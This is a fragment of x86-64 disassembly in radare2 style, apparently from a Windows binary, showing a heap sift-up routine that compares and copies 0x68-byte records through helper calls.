cmp rbp, rbx
jge 0x14008e865
lea rdi, [rbx - 1]
mov r8, r15
sar rdi, 1
imul r14, rdi, 0x68
add r14, rsi
mov rdx, r14
call fcn.14008bc58
test al, al
je 0x14008e865
mov al, byte [r14]
lea rdx, [r14 + 8]
imul rbx, rbx, 0x68
add rbx, rsi
lea rcx, [rbx + 8]
mov byte [rbx], al
call fcn.1400115bc
lea rdx, [r14 + 0x28]
lea rcx, [rbx + 0x28]
call fcn.1400115bc
lea rdx, [r14 + 0x48]
lea rcx, [rbx + 0x48]
call fcn.1400115bc
mov rbx, rdi
cmp rbp, rdi
jl 0x14008e80d
mov al, byte [r15]
lea rdx, [r15 + 8]
imul rbx, rbx, 0x68
add rbx, rsi
lea rcx, [rbx + 8]
mov byte [rbx], al
call fcn.1400115bc
lea rdx, [r15 + 0x28]
lea rcx, [rbx + 0x28]
call fcn.1400115bc
lea rdx, [r15 + 0x48]
lea rcx, [rbx + 0x48]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
jmp fcn.1400115bc